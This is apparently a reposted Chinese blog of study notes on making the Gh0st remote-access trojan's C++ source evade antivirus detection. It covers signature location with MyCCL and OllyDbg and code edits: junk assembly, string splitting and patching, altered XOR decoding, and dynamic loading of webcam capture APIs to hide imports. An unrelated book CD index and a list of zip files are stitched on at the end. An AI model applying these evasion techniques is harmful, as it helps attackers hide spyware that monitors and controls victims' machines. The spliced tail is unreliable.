Visual C++ 源码免杀

http://www.bycat.org/post-3.html

咳咳.注意,只是免杀手记.学习过程中所学到的,都将会记录在此.持续更新……勿怪只是寥寥几条手记.谢谢……

  持续更新中……每天看的资料,学习过程中学的东西,都会在下面记录下来,有一个分割线记录的.如果有朋友感兴趣,看看也不错.基础的东西,一些不懂Visual C++ 的朋友,了解一下基础,有Visual Baisc 6.0 之类的计算机编程语言基础,相信大家看得也会比较简单.全文字记录,没有图文说明.呵呵,给点难度自己,让自己也学得比较好一点.图文看得简单,思考的东西相信也少一点,给点全文字说明.自己想的东西也多一点,不要荒废了时间,不要荒废了你的一切.呵呵!加油吧.

  欢迎爱好计算机技术的朋友一起交流.这里就留一下我个人的QQ给大家吧.

  QQ:294562985

  一般情况下,只要不是在忙的时候,可以联系我.如果没有回信息,那就等待等待吧.


 

2011年04月21日   记录  类型:Visual C++ 源码免杀

内容:

  源码定位特征码后所需修改的特征码大致有四种:指令 字串 启发特征 函数 输出表 ).

  初步确定特征码后可随意上汇编指令:__asm nop;  花指令.可随意在代码段中添加,无所谓多少.只是多余的代码.也可以在源码中添加花指令.当然,具备一定的汇编基础.

  特征码定位方法:工具定位 代码定位 手工定位

  当然,在黑客学习基地里的Gh0st 源码课程资料中有记录.手工定位特征码!该讲师的新特征码定位方法,比较适用于Visual C++ 源码免杀中进行定位.

工具定位:

MyCCLMutiCCL .两种工具进行定位.相信有一定认识免杀基础的朋友都懂如何利用MyCCLMutiCCL 进行定位,这里我也不需要去记那么点废话.

代码定位:

  当初步确定特征码存在于某个代码段中.而无法得到准确的特征码时,我们可以进行代码定位.也就是构造意外代码进行定位.使得后面代码不存在,从而编译后进行查杀.若提示被杀,则说明该特征码在构造意外代码的上面!我们再向上构造意外代码进行定位.若提示不被杀,则说明特征码就在两次构造意外代码中间,然后缩小范围进行代码定位.从而得到最准确的特征码!

  构造意外代码:return FALSH; 注意:如果返回值是空,就不能用return FALSH; 了.直接return; 就可以了.如果你有Visual C++ 基础的话.相信可以利用一些代码来进行代码定位.return 0; 也可以的.return NULL;

手工定位:

  C32Asm 纯手工操作.比如从400 到文件结尾全部填充00 .杀软提示不杀了,我们可以选择初步断定的特征码所在位置.但是对准确的位置来说,还不够.不能完全得到特征码的准确位置.我们可以像代码定位一样一段一段的去填充查杀定位.相对于特征码定位来说,该方法一般用在高启发的杀软上进行定位!

预备处理:

  服务端的分离,相信应该都懂.讲服务端的生成文件目录修改一下,在同一个目录进行生成,方便管理和做免杀.

  注意设置服务端的源码生成时勾上“产生MAP文件 ”!在特征码到源码查找,这里运行Ollydebug 时会用到MAP文件

  有关Gh0st 相关的特征.如Gh0st Up date 等相关的特征,不要让杀软一看就知道你这个就是远控,代码就直接告诉杀软.我就是远程控制!!

代码处理记录:

  如果杀该函数:DeleteInstallFileGh0st 3.6 中的svchost filesdll 中的svchost\svchost.cpp 里面看到,是一个删除安装文件的函数.而InstallModule 是我们自定义的,我们可以随意改.改成相对应的即可.注意,要搜索所有InstallModule 该自定义后进行修改,一定要是相对应的!

  如找到特征码时,断定该特征码便是该函数调用或者是什么什么的.这些凭个人去想.猫猫 不解释.呵呵!

  以下段代码为例:

char* MyDecode(char *str)
{
  int   i,len;
  char   *data = Null;
  len = base64_decode(str, &data);  //base64编码.加密数据

  for (i = 0; i < len; i++)
  {
    data[i] -= 0x86;  //把数据自减86
    data[i] ^= 0x19;  //然后于19异或
  }
  return data;
}

  我们来搜索“^= 0x19; ”注意,在搜索时,将文件目录范围调整在整体中查找.

  加密解密都是相对应的.所以在改的过程中,都要改成一样的,相对应的!修改19XX 随便.只要相对应即可.

  如果还是被查杀,便杀for 循环了.我们可以用异常来进行处理这个for 循环.我们可以看len 返回的是长度,我们可以用try catch 来进行处理.

  修改如下:

char* MyDecode(char *str)
{
  int   i,len;
  char   *data = Null;
  len = base64_decode(str, &data);  //base64编码.加密数据

  try
  {
    if ( len > 0 ) throw 12;  //如果len大于0
  }
  catch (...)
  {   //把被杀的for循环放在里面.注意我所显示的^= 0x54;是修改过的.只要对应
    for (i = 0; i < len; i++)
    {
      data[i] -= 0x86;  //把数据自减86
      data[i] ^= 0x54;  //然后于19异或
    }
  }
  return data;
}

  如果杀这个函数呢?ReleaseMutex 这个函数.我们又该怎么办.整体:ReleaseMutex(hInstallMutex); 释放互斥的意思.同样,我们可以用try catch 来处理它!

  原代码:ReleaseMutex(hInstallMutex);

  修改如下:

  try
  {
    if ( hInstallMutex != NULL ) throw 13; //它不等于空.也就是说这个句柄是有效的
  }
  catch (...)
  {
    ReleaseMutex(hInstallMutex); //把被杀的函数放到catch里面
  }

  如果还是被杀,就是来回的杀这个ReleaseMutex(hInstallMutex); 这个互斥.这是关于函数的查杀,我们如果还杀被杀的话.我们该怎么办呢?

  唔.猫猫 在看资料的时候,在Gh0st 3.6 的代码中,该段函数是有三个.分别是:SetErrorMode(0);ReleaseMutex(hInstallMutex);CloseHandle(hInstallMutex); 这三个函数.那么我们将CloseHandle(hInstallMutex); 这个函数也放到catch 里面呢.试试就知道了,免杀了.那就说明这个特征码已经免杀成功!

  修改代码如下:

  SetErrorMode(0);

  try
  {
    if ( hInstallMutex != NULL ) throw 13;  //它不等于空.也就是说这个句柄是有效的
  }
  catch (...)
  {
    ReleaseMutex(hInstallMutex);  //把被杀的函数放到catch里面

    CloseHandle(hInstallMutex); //将另一个函数也放到catch里面来看看
  }

  return -1; //返回值与这个函数的成功与否有很大关系, 多数 默认成功返回则是0.

  //这里return -1;代表不成功,如果运行到这里就是卸载了.返回-1;-2;都可以.随便


 

2011年04月22日   记录  类型:Visual C++ 源码免杀

内容:

  今天猫猫 说一次啊,在用MyCCL 进行定位特征码的时候应该有基础的朋友懂,为了巩固下记忆,方便初学者,就这里再写一次.定位开始位置:400 开始,建议选反向 ……填充处一般针对各杀软都有各的写法,这里我也不讲了.或许直接默认填充00 吧.一般情况下定位填充可以选择90 来填充.选择反向

  将需要免杀的文件载入Ollydebug ,右键注意载入LoadMapEx .即在源码中产生的MAP 文件!一般在Ollydebug 右键就能看到,但是有的会在插件栏里.各种版本都不一样,自行查看自己的Ollydebug 找到就好了.一般源码MAP 文件释放在Release 文件夹内.载入后我们Ctrl+A 然后选择免杀文件,如dll 文件选中后查找特征码.

  一般如果看到“$ ”这个符号,一般在Ollydebug 中看到的“十六进制 ”栏下看到.这个符号是一个子程序的开始.具体不讨论,有Visual C++ 基础的朋友懂.我基础不是很好啊.呵呵!

  好了,根据黑客学习基地的课程资料里来看,这个“$ ”符号在右边有注释“??0CAudio@@QAE@XZ ”我们初步可以断定该特征码就在Audio.cpp 中.

  在Ollydebug 中看到,在左方“十六进制 ”栏下有一条黑线,类似大括号,而在特征码的位置里,我们可以看到也有一条黑线,说小括号吧.呵呵!初步断定,这特征码的特征是循环语句

  依照昨天我记录的手记,还是非常简单的处理下代码:__asm nop; 随便加.呵呵!

  如果是杀字符“%s\%s ”,那么我们在源码里查找.注意是根目录里全部源码查找!查找的同时注意查找格式是”%s\\%s “而不是查找“%s\%s ”有基础的朋友会懂的.这里猫猫 不解释!

  如下段代码.这是格式化字串吧.

wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pdk");

  我们该怎么去处理呢?我们可以用字符串的拼接 来处理!看处理后的代码.

wsprintf(szPhoneBook2, "%s\\", szPhoneBook2);  //格式化字串是两个东西

lstrcat(szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

  //拆开,先格式化一个,然后再把后面的拼接上去.

  其实我们针对这种字串处理 有很多种方法,有动态填充拆分 等……

  我们再看这一段字串代码 .我们还是依照上面的拼接 处理!

wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);

  处理后代码.

wsprintf(strDirectory, "%s\\", lpszDirectory);

lstrcat( strDirctory, wfd.cFileName );

  如果我们看到杀软杀的是语音监控 之类的功能,我们最简单最有效的方法就是直接删了该功能!当然了,不是经常要用到的,重要的功能,我们可以删掉.或者你可以用动态调用 去处理!

  KerneIManager.cpp 里面查找语音监控 的功能.如下段代码演示.

case COMMAND_AUDIO:

  m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,

    (LPVOID)m_pClient->m_Socket, 0, NULL);

  break;

  我们去掉该功能的方法直接给注释掉即可.如在case COMMAND_AUDIO; 上方加/* .在break; 后面加*/ 即可.注释后我们在搜索查找中搜索Loop_AudioManager 找到另一处也是同样的方法,将一段代码都给注释掉即可.我们拉上最上方,同样把“#include "AudioManager.h" ”这个头文件 的包含也给注释掉即可.

  如果杀比较常用的功能,我们就需要用到动态调用 了.这里直接拿视频监控来做演示改代码.

  嗯,杀AVICAP32.dll 里面的两个函数.capGetDriverDescriptionAcapCreateCaptureWindowA .注意在搜索时去掉最后面的大写A 再进行搜索.

  搜索完capGetDriverDescription 后,我们看到VideoCap.cpp 这里面的搜索结果.我们找到这个函数声明 .看到如下段代码.

BOOL VFWAPI capGetDriverDescriptionA (UINT wDriverIndex,

    LPSTR lpszName, int cbName,

    LPSTR lpszVer, int cbVer);

  我们先复制这段代码.找到Header Files 这个文件下拉看到unti.h 这个文件打开后(注意,该段代码处理是在Gh0st 3.6 中的dll 文件免杀处理演示).WIN32API 统一是__stdcall

  我们可以看到有一段代码,在这两句之间吧.嗯!这两句代码中间,看如下.

bool http_get(LPCTSTR szURL, LPCTSTR szFileName);

#endif  //!defined(AFX_UNTIL_H_INCLUDED)

  我们就插在中间修改.将复制的代码粘贴在该两句代码中间.代码修改如下.

bool http_get(LPCTSTR szURL, LPCTSTR szFileName);

  //下面段代码则是插入中间的修改

typedef BOOL (__stdcall *pcapGetDriverDescriptionA) (UINT wDriverIndex, LPSTR lpszName, int cbName, LPSTR lpszVer, int cbVer);

  //我们将代码写成一整句的.注意__stdcall处是统一WIN32的API.

#endif  //!defined(AFX_UNTIL_H_INCLUDED)

  好了,这样就修改完了,我们再回到VideoCap.cpp 这个文件内,也就是搜索过的.然后我们在上面写入一句代码.该段代码如下.

{

  //已经连接了

  if (m_bIsConnected)

    return false;

  bool  bRet = false;

  //下面一句代码则是调用新的函数,也就是pcapGetDriverDescriptionA这段

  pcapGetDriverDescriptionA MyFun1 = (pcapGetDriverDescriptionA)GetProcAddress( LoadLibrary("avicap32.dll"), "capGetDriverDescriptionA" );

  char  lpszName[100], lpszVer[50];

  for (int i = 0; i < 10 && !bRet; i++)

  {   //下面一句代码,在capGetDriverDescription处,复制MyFun1替换

    bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),

  //替换后的代码如:bRet = MyFun1(i, lpszName, sizeof(lpszName),

      lpszVer,sizeof(lpszVer));

  }

  return bRet;

}

  然后我们复制MyFun1 替换掉capGetDriverDescription 这个代码.如上段代码中的注释处有说明替换修改.然后我们接着复制调用新的函数 ,则是pcapGetDriverDescriptionA 这句代码,整句复制!然后我们在搜索显示栏 里有两个文件的,现在我们才修改完VideoCap.cpp 文件,我们复制后来到另一个搜索出的结果login.h 这个文件.

  还是如上方的代码一样,只是代码有略微的不同!不要紧,相信改过VideoCap.cpp 文件代码的朋友应该知道在哪修改了,虽然有略微的不同.但是放的地方位置还是差不多的.在附近代码都基本一样!

  好了,我们粘贴完复制的那句代码后,我们再来复制MyFun1 来粘贴替换掉capGetDriverDescription 就可以了.

  注意,在VideoCap.cpp 文件中的顶部代码中别忘记添加包含的头文件.代码如下.

#include "videoCap.h"

#include "until.h"   //添加的代码.

  然后我们再编译,少了一个函数,我们还需要处理另外一个函数.capCreateCaptureWindowA 搜索的方法相信大家知道该怎么搜索.去掉什么了吧,这里就不多说了.和上一个函数的处理方法是差不多的.

  搜索的结果只有一个文件VideoCap.cpp 这个文件,我们去到声明 ,然后找到该函数声明 的代码,还是复制这段代码,如下.

HWND VFWAPI capCreateCaptureWindowA (

    LPCSTR lpszWindowName,

    DWORD dwStyle,

    int x, int y, int nWidth, int nHeight,

    HWND hwndParent, int nID);

  还是unti.h 里面,在上面处理过的函数 下放粘贴该段代码,相信大家知道怎么该的.再粘贴出代码来给大家看,代码如下.

typedef HWND (__sdtcall *pcapCreateCaptureWindowA)( LPCSTR lpszWindowName, DWORD dwStyle, int x, int y, int nWidth, int nHeight, HWND hwndParent, int nID);

  好了,代码修改完了.pcapCreateCaptureWindowA 这个也就是新的数据类型 了. 然后我们回到刚搜索的文件结果VideoCap.cpp 里面.我们在下面这句代码下方修改,代码如下.

m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);

  //在这句代码下放开始插入新的代码,新的数据类型.

pcapCreateCaptureWindowA MyFun2 = (pcapCreateCaptureWindowA)GetProcAddress(LoadLibrary("avicap32.dll"), "pcapCreateCaptureWindowA" );

m_hWndCap = capCreateCaptureWindow

  //然后把上一句代码中的capCreateCaptureWindow改成MyFun2,是m_hWndCap处改

  然后我们可以编译了,由于上面一个函数处理 时,已经将包含的文件头 代码添加了,所以不需要再改了.直接编译就可以了.这个时候PE 里面就没有AVICAP32.dll 这个文件了.


 

2011年04月23日   记录  类型:Visual C++ 源码免杀

内容:

  免杀中还可以插入汇编指令,不一定是__asm nop; .也可以是其他的.如下两句代码也可以起到作用.

__asm pushad;

__asm popad;

  相信大家都看过上面的手记了,那么拼接法应该大家都会了吧.好了,我写一段代码,然后再写修改的代码.代码如下.

  int   nCout = 0;

  char   *lpPhoneBook[2];

  char   szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];

  GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));

  lstrcpy(strchr(szPhoneBook1, "\\") + 1, "Documents and Settings\\");

  lstrcat(szPhoneBook1,m_lpCurrentUser);

  lstrcat(szPhoneBook1,"\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

  特征码就杀最后一句代码.你会怎么办?拼接法 ?会么.很简单.看代码.

lstrcat(szPhoneBook1,"\\A");

lstrcat(szPhoneBook1,"pplication Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");

  如果还有一样的代码,那么就同样拼接修改就好了.

  我们继续看代码.是属于解编器系列的.我们如何改.

  //从这几种解编器中选一种.

  DWORD  fccHandlerArray[] =

  {

    859189837, //Microsoft H.263 Video Codec

    842225225, //Intel Indeo(R) Video R3.2

    842289229, //Microsoft MPEG-4 Video Codec V2

    1684633187 //Cinepak Codec by Radius

  };

  这样的我们怎么改?看注释,有“选一种 ”,这说明是选择下面的其中一种.这个顺序不是必须一定要按顺序的.我们可以扰乱顺序 ,杀的特征码是最后一个,我们就把后面调到前面就好了.看代码.

  //从这几种解编器中选一种.

  DWORD  fccHandlerArray[] =

  {

    859189837, //Microsoft H.263 Video Codec

    842225225,  //Intel Indeo(R) Video R3.2

    1684633187,  //Cinepak Codec by Radius

    842289229  //Microsoft MPEG-4 Video Codec V2

  };

  注意换代码时的符号不要写错 了.

  当特征码定位到这句代码的时候怎么办,代码如下.

wsprintf(servicename, "netsvcs_0x%d",i);

  好了,我们可以理解一下代码先.代码的意思是说当这个服务没有的时候,就会新建一个服务到netsvcs组里面. 这个netsvcs_ 名字是无所谓 的,可以随便改.随意改.我也不做代码修改后的演示了.

  好了,这是另一个字符的特征码.代码如下.

char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";

  这个地方我们要怎么改?直接看修改后的代码.

char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";

pSvchost [0] = 'S';  //将pSvchost索引地址0改为S也就是第一个改回S

  代码解释,我们把S 改成n 或者是其他的.然后把pSvchost索引地址0也就是第一个 .改为S ,也就是将n 改回S

  注意,在搜索这个特征码的时候,可能会有两处甚至是多处,注意代码.要改成同样的.在搜索栏下方有显示.注意n 可以随意.只要最后索引结果改回S 就可以了.

  遇到该句代码为特征码又该如何改呢.代码如下.

throw "RegQueryValueEx(Svchost\\netsvcs)";

  注意.搜索throw 后所显示的或许有好几个,我们主要找的是上面的代码就是了.在throw 后的代码.我们直接把RegQueryValueEx(Svchost\\netsvcs) 给删掉就可以了.注意是搜索出来的好几个throw 代码段中的一部分给删掉.

  或许有的throw 代码中双引号里面的代码不一样 ,没关系.还是直接删掉双引号内的代码 就可以了.

  再看一处特征码.代码如下.

char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

  这句我们又该如何处理?还是修正法 .也是字符处理 中的一中.代码如下.

char *bin = "2SystemRoot%\\System32\\svchost.exe -k netsvcs";

bin[0] = "%"  //将bin索引地址0中的2修正为%.

  好了,代码解释我不多说.像上面那个索引地址修改一样. 


 

2011年07月09日  记录  类型:Visual C++ 源码免杀

内容:

  C32中,第一段是文件头。第二段是代码。第三段往下看,是输入表。第四段是字符串。第五段是版权信息。第六段是

 

Visual C++代码免杀方法

 

 

 

一、文件特征码定位:

  一般我们先用MyCCL把被查杀文件的文件特征码定位出来,然后用C32判断定位出来的这个特征码是代码还是字符串,或者是输入表、输出表、版权信息等…定位在不同的地方,就要用不同的方法来进行源码免杀。

如果特征码定位木马服务端的代码里,那么我们就把这个木马用OD载入,然后把特征码旁边(前面和后面)调用了的API函数记录下来,再到源码里搜索并找到源码特征码。或者用另外一种"Map定位法",也就是在编译的时候生成一个map后缀的文件,然后把MyCCL定位出来的文件地址转换为内存地址,再到map文件里找到这个内存地址对应的行数。但这个方法比起刚才的方法来说麻烦了点,所以就不具体介绍了。

 

二、源码特征码修改:

  把特征码前后调用了的API函数复制出来,然后到源码里搜索这个API函数,在它附近(一般加在前面)加花就可以了。或者你也可以修改代码,把原来的代码改成能达到同样目的的代码。如果你不想定位的话,那也可以随便给源码加花,也就是说不特意的去定位特征码,而是随便选一个地方加花。除非字符串或者输入表函数被杀,不定位加花的方法几乎可以不用定位特征码而达到免杀的目的。

 

三、示例:

Example.cpp,把这个文件编译出来,然后我们来看看改变代码后编译出来的文件有什么变化

 

从这个例子中我们可以学到以下几点:

1.交换代码位置

2.代码的合并和分离

3.根据MyCCL定位出来的特征码找出对应的源码特征码位置

4.代码加花指令

5.函数调用交换

 

 

源码花指令:

__asm

{

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

}

 

 

 

转载于:https://www.cnblogs.com/l1b2q31/articles/2180464.html

如果读者需要使用光盘中的源代码,请将相关目录及其包含的内容复制到您的硬盘上,并修改对应的硬盘目录属性——取消目录及其所包含子目录和文件的“只读”属性。否则,打开VC项目时由于无法进行文件的“写”操作,会导致提示出错信息。 下面是对光盘中主要实例的简要说明: 实例2-1:演示C++程序的运行步骤。源代码在光盘中“\02\firstcpp”目录下。 实例2-2:Visual C++语言基本元素介绍。源代码在光盘中“\02\secondcpp”目录下。 实例2-3:cout流控制符setw的使用。源代码在光盘中“\02\thirdcpp”目录下。 实例2-4:增加域内填充字符。源代码在光盘中“\02\fourthcpp”目录下。 实例2-5:同一数据用不同进制输出结果。源代码在光盘中“\02\fifthcpp”目录下。 实例2-6:用浮点数的形式输出数据。源代码在光盘中“\02\sixthcpp”目录下。 实例2-7:数据的输入及输出。源代码在光盘中“\02\seventhcpp”目录下。 实例2-8:计算学生平均成绩。源代码在光盘中“\02\eighthcpp”目录下。 实例2-9:函数的调用。源代码在光盘中“\02\ninthcpp”目录下。 实例2-10:用指针传递参数。源代码在光盘中“\02\tenthcpp”目录下。 实例2-11:全局变量和局部变量。源代码在光盘中“\02\eleventhcpp”目录下。 实例2-12:使用指针注意内存的分配。源代码在光盘中“\02\twelfthcpp”目录下。 实例2-13:引用实例。源代码在光盘中“\02\thirteencpp”目录下。 实例2-14:虚函数的使用实例。源代码在光盘中“\02\fourteencpp”目录下。 实例3-1:利用向导生成的应用程序框架实例。源代码在光盘中“\03\test”目录下。 实例4-1:文档的存取。源代码在光盘中“\04\CDocument”目录下。 实例4-2:简单的文本编辑器。源代码在光盘中“\04\CEditView”目录下。 实例5-1:菜单实例。源代码在光盘中“\05\test1”目录下。 实例5-2:图片浏览器。源代码在光盘中“\05\picture”目录下。 实例5-3:工具栏资源编辑器。源代码在光盘中“\05\prop”目录下。 实例5-4:工具条的编程技术。源代码在光盘中“\05\record”目录下。 实例5-5:给状态栏添加时间窗格。源代码在光盘中“\05\pane”目录下。 实例6-1:创建模态对话框。源代码在光盘中“\06\dialog_1”目录下。 实例6-2:创建非模态对话框。源代码在光盘中“\06\dialog_2”目录下。 实例6-3:通用对话框展示。源代码在光盘中“\06\dialog_3”目录下。 实例6-4:创建一般属性页对话框。源代码在光盘中“\06\dialog_4”目录下。 实例6-5:创建向导对话框。源代码在光盘中“\06\dialog_5”目录下。 实例7-1:标准控件实例。源代码在光盘中“\07\CtrlTest”目录下。 实例8-1:区域探测实例。源代码在光盘中“\08\finding”目录下。 实例8-2:键盘字符的输入与显示。源代码在光盘中“\08\keyboard”目录下。 实例9-1:字体展示。源代码在光盘中“\09\text”目录下。 实例9-2:文字动画。源代码在光盘中“\09\characters”目录下。 实例9-3:画刷使用实例。源代码在光盘中“\09\Color”目录下。 实例10-1:打印实例。源代码在光盘中“\10\print”目录下。 实例11-1:存取SDI程序文档实例。源代码在光盘中“\11\SerialSDI”目录下。 实例11-2:文件操作实例。源代码在光盘中“\11\FileManipulate”目录下。 实例12-1:使用用户界面线程实例。源代码在光盘中“\12\InterfaceThread”目录下。 实例12-2:使用工作者线程实例。源代码在光盘中“\12\ControlThread”目录下。 实例12-3:多线程实例。源代码在光盘中“\12\WQDemo”目录下。 实例12-4:线程间的通信。源代码在光盘中“\12\ThreadCommu”目录下。 实例13-1:动态链接库(Dll)实例。源代码在光盘中“\13\dlltest ”目录下。 实例13-2:鼠标钩子应用实例。源代码在光盘中“\13\MouseHook”目录下。 实例13-3:键盘钩子应用实例。源代码在光盘中“\13\KeyboardHook”目录下。 实例14-1:WinSock网络程序:聊天室。源代码在光盘中“\14\WinSocketChat”目录下。 实例14-2:利用MSComm控件进行串口数据传输。源代码在光盘中“\14\MSComm”目录下。 实例14-3:简单的WinInet应用程序。源代码在光盘中“\14\SimpleNet”目录下。 实例15-1:创建Access数据库。源代码在光盘的“\15\Info”中。 实例15-2:MFC的ODBC数据库实例。源代码在光盘中“\15\Enroll”目录下。 实例15-3:利用ADO查询并操作数据库实例。源代码在光盘中“\15\AdoTest”目录下。 FTP应用实例:FTP客户端程序,源代码在光盘目录“\16”下。 人事管理系统:源代码在光盘目录“\17”下。
1,pic_open.zip带位图预览的打开文件对话框(4KB)2,bmpdlg.zip一个位图对话框类 (11KB)3,folder.zip只显示文件夹信息的文件对话框(2KB)4,dir_pic.zip文件目录搜集工具对话框(42KB)5,splash.zip通过自己的线程在Splash对话框中显示文字(136KB)6,res_dlg.zip大小可调的对话框(21KB)7,splitter.zip可变的分割视图(58KB)8,anicon1.zip在窗口的标题条上显示动画图标演示程序(47KB)9,anicon2.zip在窗口的标题条上显示动画图标(2KB)10,simple.zip一般用途的分隔器类(43KB)11,outlook.zipOutLook风格的分隔条(59KB)12,appbar1.zip实现桌面的工具条(AppBar)(12KB)13,appbar2.zip实现桌面的工具条演示程序(AppBar)(88KB)14,trayicon1.zip屏幕保护托盘图标(SDK版本)(27KB)15,trayicon2.zip屏幕保护托盘图标(MFC版本)(30KB)16,cj60lib.zipMFC扩展界面库(VC6升级版)(936KB)17,devstudio.zipVisual Studio风格的用户界面(132KB)18,explorer.zipVisual Studio风格的用户界面(213KB)19,outlook1.zipOutLook风格的用户界面(134KB)20,Ccaption.zip一组用于定制窗口标题的类(36KB)21,Ccaption2.zip一组用于定制窗口标题的类演示程序(79KB)22,treectrl1.zipDirTreeCtrl--显示文件夹和文件演示程序(56KB)23,treectrl2.zipDirTreeCtrl--显示文件夹和文件(6KB)24,menutip.zip实现菜单的工具提示(33KB)25,menubar1.zipDevStudio样式的泊位菜单条演示程序(不用MSIE)(58KB)26,menubar2.zipDevStudio样式的泊位菜单条(不用MSIE)(27KB)27,propbox1.zip实用的属性列表框(5KB)28,propbox2.zip实用的属性列表框演示程序(25KB)29,cchecklist.zip一个多层次的CCheckListBox(18KB)30,popchild.zip 在Popup和Child窗口之间转化(43KB)31,multitop.zip 一个SDI(单文档界面)的应用,通过File菜单中的Create New Frame命令能够创建一个位于顶层的SDI应用,但关闭主应用后其它的窗口也将关闭,程序由Visual C++ 5.0开发(30KB)32,picknew.zip 演示如何注册多文档模板且避MFC自动产生的"New File Type"对话框,程序由Visual C++ 5.0开发,调用了CDocTemplate::OpenDocumentFile()(49KB)33,listbox1.zip一个类似VisualStudio样式的列表框类(17KB)34,listbox2.zip一个类似VisualStudio样式的列表框类演示程序(50KB)35,custfile.zip 这个例子能够在CFileDialog中增加一对按纽,需要使用Visual C++ 6.0(23KB)36,icondlg.zip 这是一个从资源DLL中选取图标的对话框(12KB)37,Modal.zip 创建一个模式的窗口(38KB)38,dock_menu.zip 演示如何实现DevStdio中的菜单风格,值得研究 COOL(157KB)39,tooltip.zip 可以多行显示的提示条,且颜色可变(32KB)40,ntray.zip 你想知道拨号网络连通后的动态小图标(Tray Icons)是怎么实现的吗?这个例子可以告诉你一切 COOL(17KB)41,w95tray.zip Windows95 Tray Icon的例子(9KB)42,startmenu.exe 修改Start菜单(27KB)43,splits.zip 这个由Visual C++ 5.0开发的程序演示如何管理View中的切分窗口,用到了CSplitterWnd::DeleteView()和CSplitterWnd::CreateView()等成员函数(35KB)44,swt.zipDOS下仿WIN95界面及图标编辑器源程序(498k C&ASM 作者:添翼虎)(499KB)45,menutest.zip定制WIN95图形菜单演示程序(12KB)46,toolbar1.zip在ToolBar中嵌入CListBox(39KB)47,fromto.zip从一图退到另一图(54KB)48,cj60libsrc.zip界面开发库Cj60Lib的源程序(268KB)49,password.zip 拖动放大镜到密码输入框能得到密码的内容 COOL(15KB)50,ProperWnd.zip 属性页放置在窗口的指定位置(58KB)51,pushpin.zip在属性页的左边加入一个图钉按纽,熟悉Microsoft Developer Stdio的朋友一定很熟悉(16KB)52,apibrow.zip这个例子使用公用控制回调在一个CListView中管理CListCtrl控制,这个例子用于分析了一些以逗号为分割符的文本文件,例如在你的\MSDEV\LIB(VC5.0在DevStudio\VC\Lib)目录下的Win32Api.CSV就是这样的文件(16KB)53,scrl.zip这是一个由Visual C++ 5.0开发的基于对话框的应用,它演示如何使用CListCtrl::Scroll()函数,它是CListView的report方式的一个子集(14KB)54,treelist1.zip显示资源管理器风格的目录树结构的例子(64KB)55,list_menu.zip 在ToolBar中嵌入CListBox,看起来像图形菜单(39KB)<END)56,ColorButton.zipColorButton(22KB)57,iconpro.zip 一个图标处理程序的源代码,支持对ICON多种特效处理,能在EXE,DLL文件中取出ICON文件,并能将BMP文件转化为ICON,本程序也是个很酷的工具(117KB)58,ctrbars.zip 一个简单的工具条的程序例子(18KB)59,cj60.zip类似于Developer Studio,Explore界面的类库(165KB)60,cj601.zip类似于Developer Studio,Explore界面的类库(95KB)61,cj602.zip类似于Developer Studio,Explore界面的类库(100KB)62,fileNew.zip文件更新事件类演示程序(37KB)63,CfileNew.zip文件更新事件类(4KB)64,outbar.zip类似OutLook左边按钮条的控件(163KB)65,waitdialog.zip等待对话框(22KB)66,coolmenu.zipOffice 97风格菜单实现(298KB)67,dirpk.exe目录选择对话(78KB)68,docktest.zip演示Docking Window(220kb)69,drivevie.zip查看系统安装的驱动器(34kb)70,enhstbar.zip在状态条上显示按钮和进度指示条(88kb)71,fully.zip全屏幕显示窗口例子程序(42kb)72,icondial.zip在对话框内显示图标列表(12kb)73,mfccmd.zip多重Undo/Redo实现(90kb)74,mfcdde.zipDDE实例(53kb)75,splasher.zip启动屏幕程序(47kb)76,toolbar.zip一个工具条的例子(174kb)77,vwrplc32.exe文档视图结构实例(42KB)78,ModalWin.zip一个多文档的例子(1880kb)79,HTMViewer.ziphtml文件浏览器(1870kb)80,picwin.zip给任意窗口添加背景(2KB)81,DynCon.zip动态改变对话框的大小, 对话框中的控件相应改变(166KB)82,tabstatus.zip在多文档应用程序的状态条中加入子窗口的列表, 使程序的状态条有点像Windows 95的任务条(62KB)83,jpeg.zip操作JPEG的库和源程序(390KB)84,dibimage.zip这个例子功能强大,能够以多种方式处理位图文件,强烈推荐 COOL(112KB)85,voicecmd.zip在你的软件中增加语音控制功能COOL(31KB)86,pathDlg.zip能够选择和创建文件夹的对话框(22KB)87,AniDlg.zip想作动态对话框吗?下载一个回去看看吧!(18KB)88,dlgtbar.zip想在对话框中实现浮动工具栏吗?这个代码是你的最佳选择。(19KB)89,DlgMenu.zip教你在对话框中加入菜单,一学就会。(26KB)90,fold.zip使用相当简单,实现文件夹浏览,里面附带英文说明。(4KB)91,CoolAbout.zip支持滚动文字图象,并可用鼠标操作方向。(26KB)92,FullDlg.zip用这类你可以实现全屏对话框,并且你用它可以切换到运行的其它应用程序中。(3KB)93,Colorsrc.zip一个很漂亮的颜色选择类。(157KB)94,TabDialog.zip能将对话框“钉”在屏幕上。(36KB)95,tip_ocx.zip你有没有觉得VC提供的那个Tip of the day控件很简陋?现在好了,Michael Walz带给我们一个Visual Studio那样的界面漂亮的Tip of the 